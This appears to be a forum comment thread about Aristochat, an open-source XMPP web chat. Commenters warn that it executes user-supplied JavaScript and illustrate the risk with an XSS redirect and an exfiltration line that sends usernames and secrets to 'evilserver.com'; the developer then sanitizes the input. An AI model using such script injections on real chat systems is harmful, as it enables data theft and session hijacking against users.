4 ms·

Aristochat: a web based Multi User Chat with XMPP inside

• crux 17y ago
  This is awfully interesting. I've been looking for a LAMP-pluggable Campfire clone for a while now but no web chat is anywhere near the simplicity or responsiveness of Campfire.
  • julien 17y ago
    Thx Crux. At least Aristochat is OSS, so you can improve it to your needs ;)
  • davidw 17y ago
    How about mibbit? It's pretty simple to use.
    • julien 17y ago
      Not sure it's OSS? It it? And how much can you integrate it in your very own app?
      • davidw 17y ago
        It's definitely not free software. On the other hand, it does use an open protocol. It's not for everyone, but it does a good job at what it does.
• tamersalama 17y ago
  Allowing JS and tags - that isn't safe.
  • omouse 17y ago
    Could you be more useful and explain why not? Like give an example or something...
    • tamersalama 17y ago
      XSS - http://en.wikipedia.org/wiki/Cross-site_scripting http://en.wikipedia.org/wiki/Cross-site_scripting Embedding applets, styles and links (although haven't tried these). You can change window location - window.location='http://example.org/ http://example.org/ in a script tag and the code is executable for all chat users.
    • jfarmer 17y ago
      You can embed code like ping('http://evilserver.com/?user=' + username + '&secret=' + secret) or whatever to steal data, hijack sessions, etc.
  • julien 17y ago
    You're right, it was just a proof of concept ;) Now it's sanitized though ;) Thx for the "hacking"!
• TweedHeads 17y ago
  The future implementation of WebSockets will simplify things like this incredibly.